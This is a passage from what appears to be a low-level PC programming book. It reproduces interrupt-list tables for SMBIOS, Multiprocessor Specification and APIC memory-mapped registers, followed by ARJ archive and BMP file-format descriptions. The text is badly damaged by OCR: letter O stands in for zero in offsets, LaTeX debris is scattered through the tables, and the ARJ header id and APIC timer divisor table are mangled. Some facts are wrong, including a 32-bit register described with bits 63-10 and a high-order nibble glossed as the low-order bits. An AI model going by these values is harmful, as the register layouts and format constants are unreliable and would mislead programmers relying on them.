MEM xxxxh:xxx0h - Desktop Management Interface / System Management BIOS
InstallCheck: scan paragraph boundaries FOOOh to FFFFh for signature string
"_DMI_", followed by a valid header structure (see \#M0111,\#M0112)
Format of Desktop Management Interface entry-point structure:
Offset Size Description (Table M0111)
OOh 5 BYTEs signature "_DMI_"
05h BYTE checksum of this structure (forces 8-bit sum of bytes to 00h)
06h WORD total length of SMBIOS structure table, in bytes
08h DWORD 32-bit physical address of read-only SMBIOS structure table
(see \#F0059)
OCh WORD number of SMBIOS structures
OEh BYTE BCD SMBIOS revision (high nybble = major, low = minor)
!!!ftp://download.intel.com/ial/ wfm/smbios.pdf
SeeAlso: \#M0112
Format of System Management BIOS entry-point structure:
Offset Size Description (Table M0112)
OOh 4 BYTEs signature "_SM_"
04h BYTE checksum of this structure (forces 8-bit sum of bytes to 00h)
05h BYTE length of structure in bytes (1Fh for v2.1+)
06h BYTE major version of specification
07h BYTE minor version of specification (01h = vX.1, 16h = vX.22)
08h WORD size of largest SMBIOS structure (see also \#F0046)
OAh BYTE revision of this data structure
00h SMBIOS v2.1-2.3
01h-FFh reserved for future versions
OBh 5 BYTEs revision-specific data (currently unused)
1Oh 5 BYTEs intermediate anchor string "_DMI_"
15h BYTE checksum of intermediate entry-point structure
(forces 8-bit sum of bytes 10h-1Eh to 00h)
16h WORD total length of SMBIOS structure table, in bytes
18h DWORD 32-bit physical address of read-only SMBIOS structure table
(see \#F0059)
1Ch WORD number of SMBIOS structures
1Eh BYTE BCD SMBIOS revision (high nybble = major, low = minor)
00h if specification version only given in bytes 06h/07h
BUG: due to an error in the v2.1 specification, some implementations might
indicate a length of 1Eh bytes instead of 1Fh
SeeAlso: \#M0111
---------Mxxxxxxx0
MEM xxxxh:xxx0h - Multiprocessor Specification - FLOATING POINTER STRUCTURE
InstallCheck: scan paragraph boundaries for the signature string "_MP_",
followed by a valid floating pointer structure (see \#M011\overline{3}
Range: any paragraph boundary in the first kilobyte of the XBDA, the last

```

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kilobyte of conventional memory, or from F000h:0000h to F000h: FFEOh SeeAlso: MEM FEE00000h

Format of Multiprocessor Specification Floating Pointer structure:
Offset Size Description (Table M0113)
OOh 4 BYTEs signature "_MP_"
04h DWORD physical address of MP configuration table (see \#M0114) 00000000h if no configuration table
08h BYTE length of this structure in paragraphs (currently 01h)
09h BYTE revision of MP specification supported
\(01 \mathrm{~h}=\mathrm{v} 1.1\)
04h = v1.4
OAh BYTE checksum (8-bit sum of entire structure, including this byte, must equal 00h)
OBh BYTE MP feature byte 1: system configuration type 00h: MP configuration table present nonzero: default configuration implemented by system
OCh BYTE MP feature byte 2 bit 7: IMCR present bits 6-0: reserved (0)
ODh 3 BYTEs MP feature bytes 3-5 (reserved, must be 00h)
Format of Multiprocessor Specification configuration table header:
Offset Size Description (Table M0114)
OOh 4 BYTEs signature "PCMP"
04h WORD length of base configuration table in bytes, including this header
06h BYTE revision of MP specification supported
\(01 \mathrm{~h}=\mathrm{v} 1.1\)
\(04 \mathrm{~h}=\mathrm{v} 1.4\)
07h BYTE checksum of entire base configuration table
08h 8 BYTEs OEM identifier
10h 12 BYTEs product ID
1Ch DWORD physical address to OEM-defined configuration table 00000000h if not present
20h WORD size of base OEM table in bytes (0000h if not present)
22 h WORD number of entries in variable portion of base table
24 h DWORD address of local APIC (see also MEM FEEOh: 0020h)
28 h WORD length of extended entries following end of base table (in bytes)
2Ah BYTE checksum for extended table entries (includes only extended entries following base table)
2Ch var configuration table entries (see \#M0115)
SeeAlso: \#M0113
Format of Multiprocessor Specification configuration table entries:
Offset Size Description (Table M0115)
OOh BYTE entry type code
```

    00h processor
    01h bus
    02h I/O APIC
    03h I/IO interrupt assignment
    04h local interrupt assignment
    80h system address space mapping
    81h bus hierarchy descriptor
    82h compatibility bus address space modifier
    ---processor---
    01h BYTE local APIC identifier
    02h BYTE local APIC version
    03h BYTE CPU flags
    bit 0: processor usable
    bit 1: bootstrap processor
    04h WORD CPU type
    bits 11-8: CPU family
    bits 7-4: CPU model
    bits 3-0: stepping
    (bits 11-0 all set indicate non-Intel-compatible CPU)
    06h 2 BYTEs unused
    08h DWORD feature flags (as returned by Pentium CPUID instruction)
    OCh 8 BYTEs reserved
    ---bus---
01h BYTE bus ID (assigned sequentially from 00h by BIOS)
02h 6 BYTEs bus type (blank-padded ASCII string) (see \#MO116)
---I/O APIC---
01h BYTE APIC identifier
02h BYTE APIC version
03h BYTE I/O APIC flags
bit 0: enabled
bits 7-1: reserved
04h DWORD base address for APIC
---I/O,local interrupt assignment---
01h BYTE interrupt type
00h vectored interrupt (from APIC)
01h NMI
02h system management interrupt
03h vectored interrupt (from external PIC)
02h BYTE APIC control (see \#M0117)
03h BYTE unused
04h BYTE source bus identifier
05h BYTE source bus IRQ
06h BYTE destination I/O APIC identifier
07h BYTE destination I/O APIC interrupt pin number
---system address space mapping---
01h BYTE entry length (14h)
02h BYTE busID
03h BYTE address type (00h I/O, 01h memory, 02h prefetch)

```

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11 active low
3-2 trigger mode
00 conforms to bus specification
01 edge-triggered
10 reserved
11 level-triggered
SeeAlso: \#M0115
--------H-mFEC00000
MEM FECO0000h - Pentium - 82379AB I/O APIC - I/O REGISTER SELECT
Size: DWORD
Desc: bits 7-0 of the I/O Register Select memory location specify which of the APIC's registers appears in the I/O Window at FExxx010h
Range: the Multiprocessor Specification calls for I/O APICs to be memorymapped on 4 K boundaries between FEC00000h and FEDFC000h; the Intel 82379AB I/O APIC can be memory-mapped on any 1K boundary within FEC0000h-FECOF800h
Note: this memory-mapped register is also supported by the Intel 82093AA I/O APIC
SeeAlso: MEM FEC00010h,MEM FEE00000h,MEM xxxxh:xxx0h"Multiprocessor"
--------H-mFEC00010
MEM FEC00010h - Pentium - 82379AB I/O APIC - I/O WINDOW
Size: DWORD
Range: the Multiprocessor Specification calls for I/O APICs to be memorymapped on 4 K boundaries between FEC00000h and FEDFC000h
Note: this memory-mapped register is also supported by the Intel 82093AA I/O APIC
SeeAlso: MEM FEC00010h
(Table M0118)
Values for Intel 82379AB/82093AA I/O APIC registers:
00h APICID
01h APIC version (read-only) bits 31-24: reserved bits 23-16: maximum redirection entry bits 15-8: reserved bits 7-0: APIC version (11h for 82093AA)
02 h APIC arbitration ID (read-only) bits 31-28: reserved bits 27-24: arbitration ID bits 23-0: reserved
10h-11h redirection table entry 0 (10h=low DWORD, 11h=high DWORD)
12h-13h redirection table entry 1 (see !!!)
2Eh-2Fh redirection table entry 15
---82093AA only---
30h-31h redirection table entry 16
3Eh-3Fh redirection table entry 23

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```

Bitfields for APIC redirection table entry:
Bit(s) Description (Table M0119)
63-56 destination
!!!29056601.pdf pg. }1
55-17 reserved
16 interrupt mask
15 trigger mode
14 remote IRR (read-only)
13 interrupt input pin polarity
12 delivery status (read-only)
11 destination mode
10-8 delivery mode
7-0 interrupt vector (10h-FEh)
--------H-mFEE00000-
MEM FEE00000h - Pentium - LOCAL APIC
Size: }4096\mathrm{ BYTEs
Notes: the Advanced Programmable Interrupt Controller built into
multiprocessor-capable Pentiums (P54C, etc. -- basically 75MHz and
faster Pentiums) maps its registers into the top of the physical
address space on data reads and writes, but not on code reads;
data accesses to the APIC registers do not cause external bus
cycles
the APIC's registers are only visible when the APIC is enabled (which
occurs at CPU reset when external data lines contain proper signals);
all accesses to APIC registers should use 32-bit reads or writes, as
8-bit and 16-bit accesses may produce unpredictable results
the PentiumPro (P6) permits the address at which the local APIC
appears to be changed with Model-Specific Register 0000001Bh
SeeAlso: MEM FEC00000h,MEM FEE00020h,MEM xxxxh:xxx0h"Multiprocessor"
SeeAlso: MSR 0000001Bh
--------H-mFEE00020
MEM FEE00020h - Pentium - LOCAL APIC - LOCAL APIC ID REGISTER
Size: DWORD
SeeAlso: MEM FEE00030h
--------H-mFEE00030
MEM FEE00030h - Pentium - LOCAL APIC - LOCAL APIC VERSION REGISTER
Size: DWORD
Note: read-only
SeeAlso: MEM FEE00020h
--------H-mFEE00040
MEM FEE00040h - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE00050
MEM FEE00050h - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE00060
MEM FEE00060h - Pentium - LOCAL APIC - RESERVED

```
```

SeeAlso: MEM FEE00000h
--------H-mFEE00070
MEM FEE00070h - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE00080
MEM FEE00080h - Pentium - LOCAL APIC - TASK PRIORITY REGISTER (TPR)
Size: DWORD
--------H-mFEE00090
MEM FEE00090h - Pentium - LOCAL APIC - ARBITRATION PRIORITY REGISTER (APR)
Size: DWORD
Note: read-only
--------H-mFEE000A0
MEM FEE000AOh - Pentium - LOCAL APIC - END OF INTERRUPT REGISTER (EOI)
Size: DWORD
Note: write-only
--------H-mFEE000A0
MEM FEE000AOh - Pentium - LOCAL APIC - PROCESSOR PRIORITY REGISTER (PPR)
Size: DWORD
Note: read-only
SeeAlso: MEM FEE00000h
--------H-mFEE000B0
MEM FEE000B0h - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
-------H-mFEE000C0
MEM FEE000COh - Pentium - LOCAL APIC - REMOTE READ REGISTER
Size: DWORD
Note: read-only
--------H-mFEE000D0
MEM FEEO00DOh - Pentium - LOCAL APIC - LOGICAL DURATION REGISTER (LDR)
Size: DWORD
SeeAlso: MEM FEE00000h
--------H-mFEE000E0
MEM FEE000EOh - Pentium - LOCAL APIC - DESTINATION FORMAT REGISTER (DFR)
Size: DWORD
bits 27-0: read-only
bits 31-28: read-write
--------H-mFEE000F0
MEM FEE000FOh - Pentium + - LOCAL APIC - SPURIOUS INTERRUPT VECTOR REGISTER
Size: DWORD
Bitfields for Local APIC Spurious Interrupt Vector register:
Bit(s) Description (Table M0126)
63-10 reserved
9 disable focus processor checking during lowest-priority delivery
8 APIC enabled by software
7-4 spurious vector number
3-0 reserved (1)
--------H-mFEE00100

```

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```

MEM FEE00100h - Pentium + - LOCAL APIC - IN-SERVICE REGISTER (ISR)
Size: }128\mathrm{ BYTEs
Note: read-only
SeeAlso: MEM FEE00200h
--------H-mFEE00180
MEM FEE00180h - Pentium + - LOCAL APIC - TRIGGER MODE REGISTER (TMR)
Size: }128\mathrm{ BYTEs
Note: read-only
SeeAlso: MEM FEE00000h
--------H-mFEE00200
MEM FEE00200h - Pentium + - LOCAL APIC - INTERRUPT REQUEST REGISTER (IRR)
Size: }128\mathrm{ BYTEs
Note: read-only
SeeAlso: MEM FEE00100h
--------H-mFEE00280
MEM FEE00280h - Pentium + - LOCAL APIC - ERROR STATUS REGISTER
Size: DWORD
Note: read-only
Bitfields for Pentium APIC error status register:
Bit(s) Description (Table M0120)
0 send checksum error
1 receive checksum error
2 send accept error
3 receive accept error
4 reserved
5 send illegal vector
6 receive illegal vector
7 illegal register address
31-8 reserved
--------H-mFEE00300
MEM FEE00300h - Pentium + - LOCAL APIC - INTERRUPT COMMAND REGISTER (ICR)
Size: DWORD
Note: this is the low half of the 64-bit ICR
SeeAlso: MEM FEE00310h,\#M0121
Bitfields for Pentium APIC Interrupt Command Register:
Bit(s) Description (Table M0121)
7-0 interrupt vector number
10-8 delivery mode (see \#M0122)
11 destination mode
12 delivery status (read-only)
1 = transfer pending
13 reserved
14 level (0 = INIT Level Deassert message, 1 = anything else)
15 trigger mode (1)
17-16 remote read status (read-only)
19-18 destination shorthand

```
```

    00 as specified by destination field
    01 self
    1 0 \text { all including self}
    11 all except self
    55-20 reserved
    63-56 destination for interrupt request or message
    SeeAlso: \#M0124
(Table M0122)
Values for Pentium APIC delivery mode:
000b fixed
001b lowest-priority
010b SMI
011b remote read
100b NMI
101b INIT
110b start up
111b reserved
SeeAlso: \#M0121
--------H-mFEE00310
MEM FEE00310h - Pentium + - LOCAL APIC - INTERRUPT COMMAND REGISTER (ICR)
Size: DWORD
Note: this is the high half of the 64-bit ICR
SeeAlso: MEM FEE00300h,\#M0121
--------H-mFEE00320
MEM FEE00320h - Pentium + - LOCAL APIC - LOCAL VECTOR TABLE ENTRY 0 (TIMER)
Size: DWORD
SeeAlso: MEM FEE00350h,MEM FEE00370h,MEM FEE003EOh,INT 70h
Bitfields for Pentium APIC timer local vector entry:
Bit(s) Description (Table M0123)
7-0 interrupt vector number
11-8 reserved
12 delivery status (read-only)
1 = interrupt being sent to APIC
15-13 reserved
16 interrupt delivery disabled
17 timer mode (0=one-shot, 1=periodic)
31-18 reserved
SeeAlso: \#M0125,\#M0124
--------H-mFEE00330
MEM FEE00330h - Pentium + - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE00340
MEM FEE00340h - Pentium + - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE00350
MEM FEE00350h - Pentium + - LOCAL APIC - LOCAL VECTOR TABLE ENTRY 1 (LINTO)

```

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```

Size: DWORD
SeeAlso: MEM FEE00320h,MEM FEE00360h
Bitfields for Pentium APIC LINTx local vector entry:
Bit(s) Description (Table M0124)
7-0 interrupt vector number
10-8 delivery mode
000 fixed
100 NMI
111 external interrupt (8259A-compatibility)
11 reserved
12 delivery status (read-only)
1 = interrupt being sent to APIC
13 interrupt pin is active low
14 remote IRR
15 trigger mode
0 edge-sensitive
1 level-sensitive
16 interrupt delivery disabled
31-17 reserved
SeeAlso: \#M0123
--------H-mFEE00360
MEM FEE00360h - Pentium + - LOCAL APIC - LOCAL VECTOR TABLE ENTRY 2 (LINT1)
Size: DWORD
SeeAlso: MEM FEE00350h,MEM FEE00370h,\#M0124
--------H-mFEE00370
MEM FEE00370h - Pentium + - LOCAL APIC - LOCAL VECTOR TABLE ENTRY 3 (Error)
Size: DWORD
SeeAlso: MEM FEE00320h,MEM FEE00370h
--------H-mFEE00380-------------------------
MEM FEE00380h - Pentium + - LOCAL APIC - INITIAL COUNT REGISTER (ICR) TIMER
Size: DWORD
Desc: timer start value, which together with the Divide Configuration
Register also determines its period when periodic mode has been
selected
SeeAlso: MEM FEE00000h,MEM FEE00390h
--------H-mFEE00390
MEM FEE00390h - Pentium + - LOCAL APIC - CURRENT COUNT REGISTER (CCR) TIMER
Size: DWORD
Desc: current timer count; when this value reaches zero, an interrupt is
generated
Note: read-only
SeeAlso: MEM FEE00380h
--------H-mFEE003A0
MEM FEE003AOh - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE003B0
MEM FEE003B0h - Pentium - LOCAL APIC - RESERVED

```
```

SeeAlso: MEM FEE00000h
--------H-mFEE003C0
MEM FEE003COh - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE003D0
MEM FEE003DOh - Pentium - LOCAL APIC - RESERVED
SeeAlso: MEM FEE00000h
--------H-mFEE003E0-
MEM FEE003EOh - Pentium + - LOCAL APIC - TIMER DIVIDE CONFIGURATION REGISTER
Size: DWORD
SeeAlso: MEM FEE00000h,MEM FEE00320h
Bitfields for Pentium (and later) APIC timer divide configuration:
Bit(s) Description (Table M0125)
31-4 reserved
3,1,0 divisor
000 divide by }
0 0 1 ~ b y ~ 4
010 by }
110 by }12
111 by 1
2 zero (0)
Note: the divisor determines the timer's time base relative to the processor
clock
SeeAlso: \#M0123
----------MFFFF0010
-------------------------
MEM FFFFh:0010h - HIGH MEMORY AREA (HMA)
Size: 65520 BYTEs

```

\subsection*{71.5 Other resources}

Wonderful documents on CMOS RAM, Far call interface list, Model Specific Registers, Assembler Opcodes, I2C Bus devices and System-management mode are part of RBIL. Because of space constraint I avoid listing them here. Anyhow they are available on CD.

"Beauty can trick you."

\section*{File format Collections}

File formats are usually represented in record/structure format. Almost all documents use Assembly language's record format or C's structure format or sometimes Pascal's record format. In file formats, mostly we would come across the jargons: BYTE, WORD \& DWORD. BYTE can be viewed as signed or unsigned char; WORD can be viewed as signed or unsigned int; DWORD can be viewed as signed or unsigned long.

\subsection*{72.1 File Formats Encyclopedia}

The file formats encyclopedia found on CD has lots of file formats. For a quick and neat description, I strongly suggest you to have a look on CD

In this chapter, I give you few file formats that I think will be useful. Most of them are from File Formats Encyclopedia and official documentations. For a full description, have a look on CD.

\subsection*{72.2 ARJ}

\subsection*{72.2.1 Glimpse}

Following documentation gives you overall picture about ARJ file format.
The ARJ program by Robert K. Jung is a "newcomer" which compares well to PKZip and LhArc in both compression and speed. An ARJ archive contains two types of header blocks, one archive main header at the head of the archive and local file headers before each archived file.
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & word & ID=0EA60h \\
\hline 0002 h & 1 & word & Basic header size (0 if end of archive) \\
\hline 0004 h & 1 & byte & Size of header including extra data \\
\hline 0005 h & 1 & byte & Archiver version number \\
\hline 0006 h & 1 & byte & Minimum version needed to extract \\
\hline 0007 h & 1 & byte & Host OS (see table 0002) \\
\hline 0008 h & 1 & byte & \begin{tabular}{l} 
Internal flags, bitmapped : \\
0 - no password / password \\
1 - reserved \\
- file continues on next disk \\
3 - file start position field is available \\
4 - path translation ( " \(\\
) " to "/" )
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0009h & 1 & byte & \begin{tabular}{l}
Compression method : \\
0 - stored \\
1 - compressed most \\
2 - compressed \\
3 - compressed faster \\
4 - compressed fastest
\end{tabular} \\
\hline 000Ah & 1 & byte & \begin{tabular}{l}
File type : \\
0 - binary \\
1-7-bit text \\
2-comment header \\
3 - directory \\
4 - volume label
\end{tabular} \\
\hline 000Bh & 1 & byte & reserved \\
\hline 000Ch & 1 & dword & Date/Time of original file in MS-DOS format \\
\hline 0010h & 1 & dword & Compressed size of file \\
\hline 0014h & 1 & dword & Original size of file \\
\hline 0018h & 1 & dword & Original file's CRC-32 \\
\hline 001Ah & 1 & word & Filespec position in filename \\
\hline 001Ch & 1 & word & File attributes \\
\hline 001Eh & 1 & word & Host data (currently not used) \\
\hline \multirow[t]{3}{*}{?} & 1 & dword & Extended file starting position when used (see above) \\
\hline & ? & char & ASCIIZ file name \\
\hline & ? & char & Comment \\
\hline ????h & 1 & dword & Basic header CRC-32 \\
\hline ????h & 1 & word & Size of first extended header (0 if none) = "SIZ" \\
\hline ????h+"SIZ"+2 & 1 & dword & Extended header CRC-32 \\
\hline ????h+"SIZ"+6 & ? & byte & Compressed file \\
\hline
\end{tabular}
(Table 0002)
ARJ HOST-OS types
0 - MS-DOS
1-PRIMOS
2-UNIX
3 - AMIGA
4-MAC-OS (System xx)
5-OS/2
6 - APPLE GS
7 - ATARI ST
8-NeXT
9 - VAX VMS

\subsection*{72.2.2 Official documentation}

ARJ archives contains two types of header blocks:
Archive main header - This is located at the head of the archive Local file header - This is located before each archived file
\begin{tabular}{|c|c|}
\hline \multicolumn{2}{|l|}{Structure of main header (low order byte first) :} \\
\hline Bytes & Description \\
\hline 2 & header id (main and local file) \(=0 \times 600 \times E A\) \\
\hline 2 & ```
    basic header size (from 'first_hdr_size' thru 'comment' below)
= first_hdr_size + strlen(filenāme)}
=0 if end of archive
maximum header size is 2600
``` \\
\hline 1 & first_hdr_size (size up to and including 'extra data') \\
\hline 1 & archiver version number \\
\hline 1 & minimum archiver version to extract \\
\hline 1 & \[
\begin{aligned}
& \text { host OS }(0=\text { MSDOS, } 1=\text { PRIMOS, } 2=\text { UNIX, } 3=\text { AMIGA, } 4=\text { MAC-OS }) \\
& (5=\text { OS/ } 2,6=\text { APPLE GS, } 7=\text { ATARI ST, } 8=\text { NEXT }) \\
& (9=\text { VAX VMS })
\end{aligned}
\] \\
\hline 1 & ```
arj flags
(0\times01 = NOT USED)(0\times02 = OLD_SECURED_FLAG)
(0\times04 = VOLUME_FLAG) indicates presence of succeeding Volume
(0\times08 = NOT USED)(0x10 = PATHSYM_FLAG) indicates archive name translated
("\" changed to "/")
(0\times20 = BACKUP_FLAG) indicates backup type archive
(0x40 = SECURED_FLAG)
``` \\
\hline 1 & security version ( \(2=\) current) \\
\hline 1 & file type (must equal 2) \\
\hline 1 & reserved \\
\hline 4 & date time when original archive was created \\
\hline 4 & date time when archive was last modified \\
\hline 4 & archive size (currently used only for secured archives) \\
\hline 4 & security envelope file position \\
\hline 2 & filespec position in filename \\
\hline 2 & length in bytes of security envelope data \\
\hline 2 & (currently not used) \\
\hline ? & (currently none) \\
\hline ? & filename of archive when created (null-terminated string) \\
\hline ? & archive comment (null-terminated string) \\
\hline 4 & basic header CRC \\
\hline 2 & 1 st extended header size ( 0 if none) \\
\hline ? & 1st extended header (currently not used) \\
\hline 4 & 1 st extended header's CRC ( not present when 0 extended header size) \\
\hline
\end{tabular}
\begin{tabular}{|c|c|}
\hline \multicolumn{2}{|l|}{Structure of local file header (low order byte first):} \\
\hline Bytes & Description \\
\hline 2 & header id (main and local file) \(=0 \times 600 \times E A\) \\
\hline 2 & ```
basic header size (from 'first_hdr_size' thru 'comment' below)
= first_hdr_size + strlen(filename)}+1+\mathrm{ strlen(comment) + 1
= 0 if end of archive
maximum header size is 2600
``` \\
\hline 1 & first_hdr_size (size up to and including 'extra data') \\
\hline 1 & archiver version number \\
\hline 1 & minimum archiver version to extract \\
\hline 1 & \[
\begin{aligned}
& \text { host OS }(0=\text { MSDOS, } 1=\text { PRIMOS, } 2=\text { UNIX, } 3=\text { AMIGA, } 4=\text { MAC-OS }) \\
& (5=\text { OS } / 2,6=\text { APPLE GS, } 7=\text { ATARI ST, } 8=\text { NEXT })(9=\text { VAX VMS })
\end{aligned}
\] \\
\hline 1 & \begin{tabular}{l}
arj flags ( \(0 \times 01=\) GARBLED_FLAG) indicates passworded file ( \(0 \times 02=\) NOT USED) \\
( \(0 \times 04=\) VOLUME_FLAG) indicates continued file to next volume (file is split) \\
( \(0 \times 08=\) EXTFILE_FLAG) indicates file starting position field (for split files) \\
( \(0 \times 10=\) PATHSYM_FLAG) indicates filename translated ("\" changed to "/") \\
( \(0 \times 20=\) BACKUP_FLAG) indicates file marked as backup
\end{tabular} \\
\hline 1 & method ( \(0=\) stored, \(1=\) compressed most.. .4 compressed fastest) \\
\hline 1 & file type ( \(0=\) binary, \(1=7\)-bit text)( 3 = directory, \(4=\) volume label \()\) \\
\hline 1 & reserved \\
\hline 4 & date time modified \\
\hline 4 & compressed size \\
\hline 4 & original size (this will be different for text mode compression) \\
\hline 4 & original file's CRC \\
\hline 2 & filespec position in filename \\
\hline 2 & file access mode \\
\hline 2 & host data (currently not used) \\
\hline ? & extra data \\
\hline 4 & \begin{tabular}{l}
bytes for extended file starting position when used (these bytes are present when EXTFILE_FLAG is set). \\
0 bytes otherwise.
\end{tabular} \\
\hline ? & filename (null-terminated string) \\
\hline ? & comment (null-terminated string) \\
\hline 4 & basic header CRC \\
\hline 2 & 1st extended header size (0 if none) \\
\hline ? & 1 st extended header (currently not used) \\
\hline 4 & 1st extended header's CRC (not present when 0 extended header size) \\
\hline & \(\ldots\) \\
\hline ? & compressed file \\
\hline
\end{tabular}

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\begin{tabular}{|c|c|c|}
\hline \multicolumn{3}{|l|}{Time stamp format:} \\
\hline 31302928272625 & 24232221 & 2019181716 \\
\hline <---- year-1980 ---> & <- month -> & <--- day ----> \\
\hline 1514131211 & 1098765 & 43210 \\
\hline <--- hour ---> & <---- minute ---> & <- second/2-> \\
\hline
\end{tabular}

\subsection*{72.3 BMP}

Windows bitmap files are stored in a device-independent bitmap (DIB) format that allows Windows to display the bitmap on any type of display device. The term "device independent" means that the bitmap specifies pixel color in a form independent of the method used by a display to represent color. The default filename extension of a Windows DIB file is .BMP.

\section*{Bitmap-File Structures}

Each bitmap file contains a bitmap-file header, a bitmap-information header, a color table, and an array of bytes that defines the bitmap bits. The file has the following form:
\begin{tabular}{|ll|}
\hline BITMAPFILEHEADER & bmfh; \\
BITMAPINFOHEADER & bmih; \\
RGBQUAD & aColors[]; \\
BYTE & aBitmapBits[]; \\
\hline
\end{tabular}

The bitmap-file header contains information about the type, size, and layout of a deviceindependent bitmap file. The header is defined as a BITMAPFILEHEADER structure.

The bitmap-information header, defined as a BITMAPINFOHEADER structure, specifies the dimensions, compression type, and color format for the bitmap.

The color table, defined as an array of RGBQUAD structures, contains as many elements as there are colors in the bitmap. The color table is not present for bitmaps with 24 color bits because each pixel is represented by 24 -bitred-green-blue (RGB) values in the actual bitmap data area. The colors in the table should appear in order of importance. This helps a display driver render a bitmap on a device that cannot display as many colors as there are in the bitmap. If the DIB is in Windows version 3.0 or later format, the driver can use the biCIrImportant member of the BITMAPINFOHEADER structure to determine which colors are important.

The BITMAPINFO structure can be used to represent a combined bitmap-information header and color table. The bitmap bits, immediately following the color table, consist of an array of BYTE values representing consecutive rows, or "scan lines," of the bitmap. Each scan line consists of consecutive bytes representing the pixels in the scan line, in left-to-right order. The number of bytes representing a scan line depends on the color format and the width, in pixels,
of the bitmap. If necessary, a scan line must be zero-padded to end on a 32 -bit boundary. However, segment boundaries can appear anywhere in the bitmap. The scan lines in the bitmap are stored from bottom up. This means that the first byte in the array represents the pixels in the lower-left corner of the bitmap and the last byte represents the pixels in the upper-right corner.

The biBitCount member of the BITMAPINFOHEADER structure determines the number of bits that define each pixel and the maximum number of colors in the bitmap. These members can have any of the following values:
\begin{tabular}{|c|l|}
\hline Value & \multicolumn{1}{|c|}{ Meaning } \\
\hline 1 & \begin{tabular}{l} 
Bitmap is monochrome and the color table contains two entries. Each bit in the \\
bitmap array represents a pixel. If the bit is clear, the pixel is displayed with \\
the color of the first entry in the color table. If the bit is set, the pixel has the \\
color of the second entry in the table.
\end{tabular} \\
\hline 4 & \begin{tabular}{l} 
Bitmap has a maximum of 16 colors. Each pixel in the bitmap is represented by \\
a 4-bit index into the color table. For example, if the first byte in the bitmap is \\
0x1F, the byte represents two pixels. The first pixel contains the color in the \\
second table entry, and the second pixel contains the color in the sixteenth table \\
entry.
\end{tabular} \\
\hline 8 & \begin{tabular}{l} 
Bitmap has a maximum of 256 colors. Each pixel in the bitmap is \\
represented by a 1-byte index into the color table. For example, \\
if the first byte in the bitmap is 0x1F, the first pixel has the \\
color of the thirty-second table entry.
\end{tabular} \\
\hline 24 & \begin{tabular}{l} 
Bitmap has a maximum of 2^24 colors. The bmiColors (or bmciColors) member \\
is NULL, and each 3-byte sequence in the bitmap array represents the relative \\
intensities of red, green, and blue, respectively, for a pixel.
\end{tabular} \\
\hline
\end{tabular}

The biCIrUsed member of the BITMAPINFOHEADER structure specifies the number of color indexes in the color table actually used by the bitmap. If the biCIrUsed member is set to zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member. An alternative form of bitmap file uses the BITMAPCOREINFO,
BITMAPCOREHEADER, and RGBTRIPLE structures.

\section*{Bitmap Compression}

Windows versions 3.0 and later support run-length encoded (RLE) formats for compressing bitmaps that use 4 bits per pixel and 8 bits per pixel.
Compression reduces the disk and memory storage required for a bitmap.

\section*{Compression of 8-Bits-per-Pixel Bitmaps}

When the biCompression member of the BITMAPINFOHEADER structure is set to BI_RLE8, the DIB is compressed using a run-length encoded format for a 256 -color bitmap. This format uses two modes: encoded mode and absolute mode. Both modes can occur anywhere throughout a single bitmap.

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\section*{Encoded Mode}

A unit of information in encoded mode consists of two bytes. The first byte specifies the number of consecutive pixels to be drawn using the color index contained in the second byte. The first byte of the pair can be set to zero to indicate an escape that denotes the end of a line, the end of the bitmap, or a delta. The interpretation of the escape depends on the value of the second byte of the pair, which must be in the range \(0 \times 00\) through \(0 \times 02\). Following are the meanings of the escape values that can be used in the second byte:
\begin{tabular}{|c|l|}
\hline Second byte & \multicolumn{1}{|c|}{ Meaning } \\
\hline 0 & End of line. \\
\hline 1 & End of bitmap. \\
\hline 2 & \begin{tabular}{l} 
Delta. The two bytes following the escape contain \\
unsigned values indicating the horizontal and \\
vertical offsets of the next pixel from the current \\
position.
\end{tabular} \\
\hline
\end{tabular}

\section*{Absolute Mode}

Absolute mode is signaled by the first byte in the pair being set to zero and the second byte to a value between \(0 \times 03\) and \(0 x F F\). The second byte represents the number of bytes that follow, each of which contains the color index of a single pixel. Each run must be aligned on a word boundary.
Following is an example of an 8-bit RLE bitmap (the two-digit hexadecimal values in the second column represent a color index for a single pixel):
\begin{tabular}{|l|l|}
\hline Compressed data & Expanded data \\
\hline 0304 & 040404 \\
\hline 0506 & 0606060606 \\
\hline 000345566700 & 455667 \\
\hline 0278 & 7878 \\
\hline 00020501 & Move 5 right and 1 down \\
\hline 0278 & 7878 \\
\hline 0000 & End of line \\
\hline \(091 E\) & 1E 1E 1E 1E 1E 1E 1E 1E 1E \\
\hline 0001 & End of RLE bitmap \\
\hline
\end{tabular}

\section*{Compression of 4-Bits-per-Pixel Bitmaps}

When the biCompression member of the BITMAPINFOHEADER structure is set to BI_RLE4, the DIB is compressed using a run-length encoded format for a 16-color bitmap. This format uses two modes: encoded mode and absolute mode.

\section*{Encoded Mode}

A unit of information in encoded mode consists of two bytes. The first byte of the pair contains the number of pixels to be drawn using the color indexes in the second byte.

The second byte contains two color indexes, one in its high-order nibble (that is, its low-order 4 bits) and one in its low-order nibble.

The first pixel is drawn using the color specified by the high-order nibble, the second is drawn using the color in the low-order nibble, the third is drawn with the color in the high-order nibble, and so on, until all the pixels specified by the first byte have been drawn.

The first byte of the pair can be set to zero to indicate an escape that denotes the end of a line, the end of the bitmap, or a delta. The interpretation of the escape depends on the value of the second byte of the pair. In encoded mode, the second byte has a value in the range \(0 \times 00\) through \(0 \times 02\). The meaning of these values is the same as for a DIB with 8 bits per pixel.

\section*{Absolute Mode}

In absolute mode, the first byte contains zero, the second byte contains the number of color indexes that follow, and subsequent bytes contain color indexes in their high- and low-order nibbles, one color index for each pixel. Each run must be aligned on a word boundary.

